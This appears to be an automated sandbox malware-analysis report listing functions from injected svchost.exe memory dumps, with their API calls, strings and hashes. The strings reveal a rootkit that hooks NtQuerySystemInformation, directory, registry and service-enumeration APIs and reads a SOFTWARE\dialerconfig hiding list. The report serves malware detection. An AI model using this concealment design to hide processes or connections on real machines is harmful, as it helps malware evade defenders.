Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: afcb3e66faa42eb2bcf346096e8e020fbdcda90173b34b97db97a4810a61a98e
Instruction ID: 684cc52012bf08a02ea854e3c5e00fd2e482725b670355f3805120c974a84c5f
Opcode Fuzzy Hash: afcb3e66faa42eb2bcf346096e8e020fbdcda90173b34b97db97a4810a61a98e
Instruction Fuzzy Hash: 4651F732A2D7A182E6769E29E1543EA6771F387788F000027CD8E03F99DE35C4898B40

Function 00000179537B0604 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000179537B071B
GetLastError.KERNEL32 ref: 00000179537B073D

Strings

U, xrefs: 00000179537B06C7

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: a13edceeabc266f7553562aa63bd5b4e25a5c0a5c0c842b56dee7ecd57ba2728
Instruction ID: b43d16757bf5e9589a98c71ae9370e20613dc249c4dd67caf5abf271398e3e89
Opcode Fuzzy Hash: a13edceeabc266f7553562aa63bd5b4e25a5c0a5c0c842b56dee7ecd57ba2728
Instruction Fuzzy Hash: F841C672B18A9482EB21DF25E4543DAB7B1F789788F404026EE8D87798EF3CC545CB40

Function 00000179537AD6C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000179537AD6F9
LCMapStringW.KERNEL32 ref: 00000179537AD781

Strings

LCMapStringEx, xrefs: 00000179537AD6DC, 00000179537AD6ED

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: 8d086b69a67710f16bbac061c243311228bfa9ac644515e4c5b930ef6255b9c6
Instruction ID: 41f5f8c1b6d9781716885eb7728698c86a40eb5a14e32fd4e6294361c62e05b2
Opcode Fuzzy Hash: 8d086b69a67710f16bbac061c243311228bfa9ac644515e4c5b930ef6255b9c6
Instruction Fuzzy Hash: FC114A36A08B9086DB65CB56F45029AB7B4F7CABC4F54412AEE8D83B59DF38C554CB00

Function 00000179537A94A4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000179537A94E8
RaiseException.KERNEL32 ref: 00000179537A952E

Strings

csm, xrefs: 00000179537A951B

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 9d9897ce25571c28e51806bf44cef2494793ace286fcfb8ca6bb858d3561ec5c
Instruction ID: d9042d3ab88ee03dd59a299df3f7f2bc7607c62d41262829ace1d5b1cd0866a9
Opcode Fuzzy Hash: 9d9897ce25571c28e51806bf44cef2494793ace286fcfb8ca6bb858d3561ec5c
Instruction Fuzzy Hash: 8B111F32618B9482EB618F15E44029E77B5F789B98F184222DF8D07764EF3CC555CB00

Function 00000179537AD65C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000179537AD68D
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00000179537AD6A7

Strings

InitializeCriticalSectionEx, xrefs: 00000179537AD681

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: 84d4d9e5c8567b0c470c1df2abda769c6c41ef7958af45e9a0e3fb38bbb318e4
Instruction ID: 97157dce8ab8c9e342e1a495dafd4371ef732dfcfaa4e487683373aa742c3c2c
Opcode Fuzzy Hash: 84d4d9e5c8567b0c470c1df2abda769c6c41ef7958af45e9a0e3fb38bbb318e4
Instruction Fuzzy Hash: 0BF0A731B287A091FB07AB85F4506D56331EB89BD8F495027EA5D13B54DF38C9ADC700

Function 000001795377CB9C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000001795377CBC5

Strings

November, xrefs: 000001795377CBA8, 000001795377CBB2
October, xrefs: 000001795377CBBE

Memory Dump Source

Source File: 0000001C.00000002.2926338703.0000017953770000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017953770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_17953770000_svchost.jbxd

Similarity

API ID: try_get_function
String ID: November$October
API String ID: 2742660187-1636048786
Opcode ID: fdce6644ec914193c36bb80fdc4676b7f0aefee418b5ba3fb3fb30fec7b157a7
Instruction ID: d29161db2d5e58e77a19aeec2b0767fee3f9300d5dbd27e93e65991b3153c9da
Opcode Fuzzy Hash: fdce6644ec914193c36bb80fdc4676b7f0aefee418b5ba3fb3fb30fec7b157a7
Instruction Fuzzy Hash: C4E09231E0C65292FA179B52F4442E4A3B19B8974CF595123A61D06366CE38C89E8740

Function 00000179537AD608 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000179537AD631
TlsSetValue.KERNEL32 ref: 00000179537AD648

Strings

FlsSetValue, xrefs: 00000179537AD61E

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: 50ddf312d192e0080d8f7be73491643e669436d55e40d94a578a073710abe0d4
Instruction ID: 9711712e3d408104b7a636f22671f09248094bbe1e46c96de628ba518baa1951
Opcode Fuzzy Hash: 50ddf312d192e0080d8f7be73491643e669436d55e40d94a578a073710abe0d4
Instruction Fuzzy Hash: F5E06D71A1865091FA0A5B90F8247D52332AB897C8F494023DA1D06395EE38C9ADC710

Function 00000179537A1D60 Relevance: 5.1, APIs: 4, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000179537A1D9B
HeapAlloc.KERNEL32 ref: 00000179537A1DAA
GetProcessHeap.KERNEL32 ref: 00000179537A1E1E
HeapFree.KERNEL32 ref: 00000179537A1E2C

Memory Dump Source

Source File: 0000001C.00000002.2927160762.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_179537a0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 3779bcfafb90e2edd239bdf2c4b5cd58a413f829d06d4561fa4d45091366f8f0
Instruction ID: 33a1b714b105d773c2c5a18b45ff3f86a857af4a48be75d1c83c01d21736f56c
Opcode Fuzzy Hash: 3779bcfafb90e2edd239bdf2c4b5cd58a413f829d06d4561fa4d45091366f8f0
Instruction Fuzzy Hash: 01219532A18FA481FB128F59E40429AF3B4FB85B99F454116DE8C47B14FF78C58A8700

Analysis Process: svchost.exePID: 696, Parent PID: 7912COMMON

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	68
Total number of Limit Nodes:	2

Executed Functions

Function 000002295D563458 Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000002295D56347A
PathFindFileNameW.SHLWAPI ref: 000002295D563489

Part of subcall function 000002295D563930: StrCmpNIW.SHLWAPI ref: 000002295D563948

Part of subcall function 000002295D563878: GetModuleHandleW.KERNEL32 ref: 000002295D563886
Part of subcall function 000002295D563878: GetCurrentProcess.KERNEL32 ref: 000002295D5638B4
Part of subcall function 000002295D563878: VirtualProtectEx.KERNEL32 ref: 000002295D5638D6
Part of subcall function 000002295D563878: GetCurrentProcess.KERNEL32 ref: 000002295D5638F4
Part of subcall function 000002295D563878: VirtualProtectEx.KERNEL32 ref: 000002295D563915

CreateThread.KERNEL32 ref: 000002295D5634D7

Part of subcall function 000002295D561EB4: GetCurrentThread.KERNEL32 ref: 000002295D561EBF

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c29ba6944873534deeb84ee6eea4394d78c713a8ee642426403de072192bf5b7
Instruction ID: 5fa08749519fdd083dd3e1f0d39032132afecf1b20116e9cc23eacd99de3edae
Opcode Fuzzy Hash: c29ba6944873534deeb84ee6eea4394d78c713a8ee642426403de072192bf5b7
Instruction Fuzzy Hash: D8113C6171070271FB2797E9B50E7696294F794746FD80029FB168529CEF39C0EAC630

Function 000002295D561C28 Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000002295D561650: GetProcessHeap.KERNEL32 ref: 000002295D56165B
Part of subcall function 000002295D561650: HeapAlloc.KERNEL32 ref: 000002295D56166A
Part of subcall function 000002295D561650: RegOpenKeyExW.ADVAPI32 ref: 000002295D5616DA
Part of subcall function 000002295D561650: RegOpenKeyExW.ADVAPI32 ref: 000002295D561707
Part of subcall function 000002295D561650: RegCloseKey.ADVAPI32 ref: 000002295D561721
Part of subcall function 000002295D561650: RegOpenKeyExW.ADVAPI32 ref: 000002295D561741
Part of subcall function 000002295D561650: RegCloseKey.ADVAPI32 ref: 000002295D56175C
Part of subcall function 000002295D561650: RegOpenKeyExW.ADVAPI32 ref: 000002295D56177C
Part of subcall function 000002295D561650: RegCloseKey.ADVAPI32 ref: 000002295D561797
Part of subcall function 000002295D561650: RegOpenKeyExW.ADVAPI32 ref: 000002295D5617B7
Part of subcall function 000002295D561650: RegCloseKey.ADVAPI32 ref: 000002295D5617D2
Part of subcall function 000002295D561650: RegOpenKeyExW.ADVAPI32 ref: 000002295D5617F2

Sleep.KERNEL32 ref: 000002295D561C43
SleepEx.KERNEL32 ref: 000002295D561C49

Part of subcall function 000002295D561650: RegCloseKey.ADVAPI32 ref: 000002295D56180D
Part of subcall function 000002295D561650: RegOpenKeyExW.ADVAPI32 ref: 000002295D56182D
Part of subcall function 000002295D561650: RegCloseKey.ADVAPI32 ref: 000002295D561848
Part of subcall function 000002295D561650: RegOpenKeyExW.ADVAPI32 ref: 000002295D561868
Part of subcall function 000002295D561650: RegCloseKey.ADVAPI32 ref: 000002295D561883
Part of subcall function 000002295D561650: RegOpenKeyExW.ADVAPI32 ref: 000002295D5618A3
Part of subcall function 000002295D561650: RegCloseKey.ADVAPI32 ref: 000002295D5618BE
Part of subcall function 000002295D561650: RegCloseKey.ADVAPI32 ref: 000002295D5618C8

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: 446663f49501c54a1dde533fa37134df150f915d943a345b55ac37b77b82859e
Instruction ID: 821f73ed8f2b7e9f5efbed1530173072f609ca8afc59f27a2d85262a82f8ebfe
Opcode Fuzzy Hash: 446663f49501c54a1dde533fa37134df150f915d943a345b55ac37b77b82859e
Instruction Fuzzy Hash: 7031EF65702601B1FE569FBEF64977A12A4AB44BC5FD44021EE09C769EEE14C8F2C270

Function 000002295D563930 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 000002295D563948

Strings

dialer, xrefs: 000002295D563941

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID:
String ID: dialer
API String ID: 0-3528709123
Opcode ID: 949ed436222ef7ba0644b0ca804308ca47b9c81469ce6be8bad6d29646da7b56
Instruction ID: 6065884056ec97f2f48920713d01fdf3d33b039ec21e88ccf8d5ed595a0e7037
Opcode Fuzzy Hash: 949ed436222ef7ba0644b0ca804308ca47b9c81469ce6be8bad6d29646da7b56
Instruction Fuzzy Hash: A2D0A76031120BA6FF16DFE9D8C92602350EB14754FC88020DB050211CD7188DEFCB30

Function 000002295D532908 Relevance: 1.7, APIs: 1, Instructions: 186
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000002295D532A31

Memory Dump Source

Source File: 0000001D.00000002.2926248027.000002295D530000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d530000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f6ddeab5387358d888722616617f0efec67712a96652def8838ee087e5407534
Instruction ID: 58ff464dfdc6c4ecbc8e9b3855974d3a25b238110f5a3486ce761eece11ac661
Opcode Fuzzy Hash: f6ddeab5387358d888722616617f0efec67712a96652def8838ee087e5407534
Instruction Fuzzy Hash: 0B610422701A91A7EE6ACF9DD45476CB391FF14B94FD48015EA1907789DB38D8E3C720

Non-executed Functions

Function 000002295D562CDC Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000002295D562D80
lstrlenW.KERNEL32 ref: 000002295D562FBA

Part of subcall function 000002295D561A14: OpenProcess.KERNEL32 ref: 000002295D561A3A
Part of subcall function 000002295D561A14: K32GetModuleFileNameExW.KERNEL32 ref: 000002295D561A58
Part of subcall function 000002295D561A14: PathFindFileNameW.SHLWAPI ref: 000002295D561A67
Part of subcall function 000002295D561A14: lstrlenW.KERNEL32 ref: 000002295D561A73
Part of subcall function 000002295D561A14: StrCpyW.SHLWAPI ref: 000002295D561A86
Part of subcall function 000002295D561A14: CloseHandle.KERNEL32 ref: 000002295D561A94

GetProcAddress.KERNEL32 ref: 000002295D562D95

Part of subcall function 000002295D561554: StrCmpIW.SHLWAPI ref: 000002295D561585

Part of subcall function 000002295D563930: StrCmpNIW.SHLWAPI ref: 000002295D563948

StrCmpNIW.SHLWAPI ref: 000002295D562DD8
lstrlenW.KERNEL32 ref: 000002295D562F00

Strings

ntdll.dll, xrefs: 000002295D562D79
NtQueryObject, xrefs: 000002295D562D8B
\Device\Nsi, xrefs: 000002295D562DCB

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 2588cc794520ead529bdc0a32c038e4709a5f15ae479e9f47b13431256f42674
Instruction ID: f2a50276a7f58650b45cb133d784554c7d0c909d8cf186fa0b951f4959fe23cb
Opcode Fuzzy Hash: 2588cc794520ead529bdc0a32c038e4709a5f15ae479e9f47b13431256f42674
Instruction Fuzzy Hash: A6B1A032310690A1FB668FADE5487A9A3A4F744B94FD45026FE0953798EF35CCE2C360

Function 000002295D567E70 Relevance: 10.6, APIs: 7, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000002295D567E8C
RtlCaptureContext.NTDLL ref: 000002295D567EB9
RtlLookupFunctionEntry.NTDLL ref: 000002295D567ED3
RtlVirtualUnwind.NTDLL ref: 000002295D567F14
IsDebuggerPresent.KERNEL32 ref: 000002295D567F68
SetUnhandledExceptionFilter.KERNEL32 ref: 000002295D567F89
UnhandledExceptionFilter.KERNEL32 ref: 000002295D567F94

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 1239a149ef62a939d07da7a6345777f7e6476c10c46ebdc58c2fff80381e5b80
Instruction ID: ec8428cfff50fd4698ec7a4d76673dc6833da7d9a6fe1aa8436e99a841b4a814
Opcode Fuzzy Hash: 1239a149ef62a939d07da7a6345777f7e6476c10c46ebdc58c2fff80381e5b80
Instruction Fuzzy Hash: 00317272304B80A5EB618FB4E8447DD7360F784754F84442AEB4D47B98EF38C599C720

Function 000002295D56B50C Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000002295D56B585
RtlLookupFunctionEntry.NTDLL ref: 000002295D56B59D
RtlVirtualUnwind.NTDLL ref: 000002295D56B5D8
IsDebuggerPresent.KERNEL32 ref: 000002295D56B611
SetUnhandledExceptionFilter.KERNEL32 ref: 000002295D56B61B
UnhandledExceptionFilter.KERNEL32 ref: 000002295D56B626

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: b9fdfb6abdc39c0bfa3e984213bb5a27592c3a0080b3e524afb5147b282a99cd
Instruction ID: 3032b272586a6c397c41cf937fc48523399078f95e56603a1cc937f571c125ad
Opcode Fuzzy Hash: b9fdfb6abdc39c0bfa3e984213bb5a27592c3a0080b3e524afb5147b282a99cd
Instruction Fuzzy Hash: 26315F32314B8096EB61CF69E84439E73A4F788794F900116EB9D43BA8EF38C596CB10

Function 000002295D56FEF8 Relevance: 7.8, APIs: 5, Instructions: 328fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000002295D56FF67
WriteFile.KERNEL32 ref: 000002295D57021E
WriteFile.KERNEL32 ref: 000002295D570270
GetLastError.KERNEL32 ref: 000002295D570372
GetLastError.KERNEL32 ref: 000002295D5703D2

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite$ConsoleOutput
String ID:
API String ID: 1443284424-0
Opcode ID: 85b244371d408b05e75db82bfcedca3f922ea5a775ba2aedb63ed3d562987fa1
Instruction ID: 2ede8e80a4922f46ea2b94f1ca3103131468163758670aabf093de3d06320519
Opcode Fuzzy Hash: 85b244371d408b05e75db82bfcedca3f922ea5a775ba2aedb63ed3d562987fa1
Instruction Fuzzy Hash: CEE1F132B14A80AAE712CFACD4882DD7BB1F3457D8FA44116EE4A57B9DDA34C4A7C710

Function 000002295D561650 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000002295D56165B
HeapAlloc.KERNEL32 ref: 000002295D56166A

Part of subcall function 000002295D561274: GetProcessHeap.KERNEL32 ref: 000002295D56127A
Part of subcall function 000002295D561274: HeapAlloc.KERNEL32 ref: 000002295D561289
Part of subcall function 000002295D561274: GetProcessHeap.KERNEL32 ref: 000002295D5612A3
Part of subcall function 000002295D561274: HeapAlloc.KERNEL32 ref: 000002295D5612B4

RegOpenKeyExW.ADVAPI32 ref: 000002295D5616DA
RegOpenKeyExW.ADVAPI32 ref: 000002295D561707
RegCloseKey.ADVAPI32 ref: 000002295D561721
RegOpenKeyExW.ADVAPI32 ref: 000002295D561741
RegCloseKey.ADVAPI32 ref: 000002295D56175C
RegOpenKeyExW.ADVAPI32 ref: 000002295D56177C
RegCloseKey.ADVAPI32 ref: 000002295D561797
RegOpenKeyExW.ADVAPI32 ref: 000002295D5617B7
RegCloseKey.ADVAPI32 ref: 000002295D5617D2
RegOpenKeyExW.ADVAPI32 ref: 000002295D5617F2
RegCloseKey.ADVAPI32 ref: 000002295D56180D
RegOpenKeyExW.ADVAPI32 ref: 000002295D56182D
RegCloseKey.ADVAPI32 ref: 000002295D561848
RegOpenKeyExW.ADVAPI32 ref: 000002295D561868
RegCloseKey.ADVAPI32 ref: 000002295D561883
RegOpenKeyExW.ADVAPI32 ref: 000002295D5618A3
RegCloseKey.ADVAPI32 ref: 000002295D5618BE
RegCloseKey.ADVAPI32 ref: 000002295D5618C8

Part of subcall function 000002295D5612C8: RegQueryInfoKeyW.ADVAPI32 ref: 000002295D561326
Part of subcall function 000002295D5612C8: GetProcessHeap.KERNEL32 ref: 000002295D561334
Part of subcall function 000002295D5612C8: HeapAlloc.KERNEL32 ref: 000002295D561345
Part of subcall function 000002295D5612C8: RegEnumValueW.ADVAPI32 ref: 000002295D5613A1
Part of subcall function 000002295D5612C8: GetProcessHeap.KERNEL32 ref: 000002295D5613E9
Part of subcall function 000002295D5612C8: HeapAlloc.KERNEL32 ref: 000002295D5613F7
Part of subcall function 000002295D5612C8: GetProcessHeap.KERNEL32 ref: 000002295D56141B
Part of subcall function 000002295D5612C8: HeapFree.KERNEL32 ref: 000002295D561429
Part of subcall function 000002295D5612C8: lstrlenW.KERNEL32 ref: 000002295D561432
Part of subcall function 000002295D5612C8: GetProcessHeap.KERNEL32 ref: 000002295D561440
Part of subcall function 000002295D5612C8: HeapAlloc.KERNEL32 ref: 000002295D56144E

Strings

tcp_local, xrefs: 000002295D561826
SOFTWARE\dialerconfig, xrefs: 000002295D5616BA
startup, xrefs: 000002295D5616FD
paths, xrefs: 000002295D5617B0
service_names, xrefs: 000002295D5617EB
pid, xrefs: 000002295D56173A
tcp_remote, xrefs: 000002295D561861
udp, xrefs: 000002295D56189C
process_names, xrefs: 000002295D561775

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 1a30f3953b7b2857fef7ab9bb527f69cc88a70ac074ccf0af09289a77df583cb
Instruction ID: 9694f6a56c70c1e61b2cb303acce30649b4cd8d78f3a5f68c02a3686739e7b9d
Opcode Fuzzy Hash: 1a30f3953b7b2857fef7ab9bb527f69cc88a70ac074ccf0af09289a77df583cb
Instruction Fuzzy Hash: 1F712D36311A50A6EF11DFAAE848AAD27B4F784BD9F801111EE4D47B2CEF34C4A6C310

Function 000002295D5612C8 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002295D561326
GetProcessHeap.KERNEL32 ref: 000002295D561334
HeapAlloc.KERNEL32 ref: 000002295D561345
RegEnumValueW.ADVAPI32 ref: 000002295D5613A1

Part of subcall function 000002295D561554: StrCmpIW.SHLWAPI ref: 000002295D561585

GetProcessHeap.KERNEL32 ref: 000002295D5613E9
HeapAlloc.KERNEL32 ref: 000002295D5613F7
GetProcessHeap.KERNEL32 ref: 000002295D56141B
HeapFree.KERNEL32 ref: 000002295D561429
lstrlenW.KERNEL32 ref: 000002295D561432
GetProcessHeap.KERNEL32 ref: 000002295D561440
HeapAlloc.KERNEL32 ref: 000002295D56144E
StrCpyW.SHLWAPI ref: 000002295D561470
GetProcessHeap.KERNEL32 ref: 000002295D561485
HeapFree.KERNEL32 ref: 000002295D561493

Strings

d, xrefs: 000002295D561365

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: b748d707dce532ba85059e887555c778ed1ca062867acd86e7106c3b72fc9f19
Instruction ID: 9358fa33283ac00e48e3eef096d7c2d4eae6e59f5b07b3883fc98092d27cb8ea
Opcode Fuzzy Hash: b748d707dce532ba85059e887555c778ed1ca062867acd86e7106c3b72fc9f19
Instruction Fuzzy Hash: 50517C72315B44A6EB11CFAAE44879AB7A1F789BD0F948124EB5907B18DF38C0A6C710

Function 000002295D561EB4 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000002295D561EBF

Part of subcall function 000002295D562174: GetModuleHandleA.KERNEL32 ref: 000002295D56218C
Part of subcall function 000002295D562174: GetProcAddress.KERNEL32 ref: 000002295D56219D

Part of subcall function 000002295D565C10: GetCurrentThreadId.KERNEL32 ref: 000002295D565C4B

Strings

NtQueryDirectoryFile, xrefs: 000002295D561F1F
NtResumeThread, xrefs: 000002295D561F02
advapi32.dll, xrefs: 000002295D561F97, 000002295D561FB8
NtEnumerateValueKey, xrefs: 000002295D561F76
NtQuerySystemInformation, xrefs: 000002295D561EE5
NtDeviceIoControlFile, xrefs: 000002295D561FF6
sechost.dll, xrefs: 000002295D561FD9
NtEnumerateKey, xrefs: 000002295D561F59
EnumServiceGroupW, xrefs: 000002295D561F90
NtQueryDirectoryFileEx, xrefs: 000002295D561F3C
EnumServicesStatusExW, xrefs: 000002295D561FB1, 000002295D561FD2
ntdll.dll, xrefs: 000002295D561ECD

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2295d560000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 4311b3b4e112faf7cd717d4cb8614ddd441db72e36ac1e322346e5d8367ce93d
Instruction ID: 8f0406c9d72b5bc1e1389ac32f2862628cca4651ba679a8cc03cb218467e707d
Opcode Fuzzy Hash: 4311b3b4e112faf7cd717d4cb8614ddd441db72e36ac1e322346e5d8367ce93d
Instruction Fuzzy Hash: 83318264714A4AB0FA0BEFECF85A6D42321A744384FE05523F51D161AD9E3882FBC3B0

Function 000002295D5623F0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 000002295D562405
GetCurrentProcessId.KERNEL32 ref: 000002295D56240F

Part of subcall function 000002295D5619AC: OpenProcess.KERNEL32 ref: 000002295D5619CA
Part of subcall function 000002295D5619AC: IsWow64Process.KERNEL32 ref: 000002295D5619E0
Part of subcall function 000002295D5619AC: CloseHandle.KERNEL32 ref: 000002295D5619FB

CreateFileW.KERNEL32 ref: 000002295D562468
WriteFile.KERNEL32 ref: 000002295D562490
ReadFile.KERNEL32 ref: 000002295D5624AF
CloseHandle.KERNEL32 ref: 000002295D5624B8

Strings

\\.\pipe\dialerchildproc32, xrefs: 000002295D56243F
\\.\pipe\dialerchildproc64, xrefs: 000002295D562438

Memory Dump Source

Source File: 0000001D.00000002.2926841705.000002295D560000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002295D560000, based on PE: true

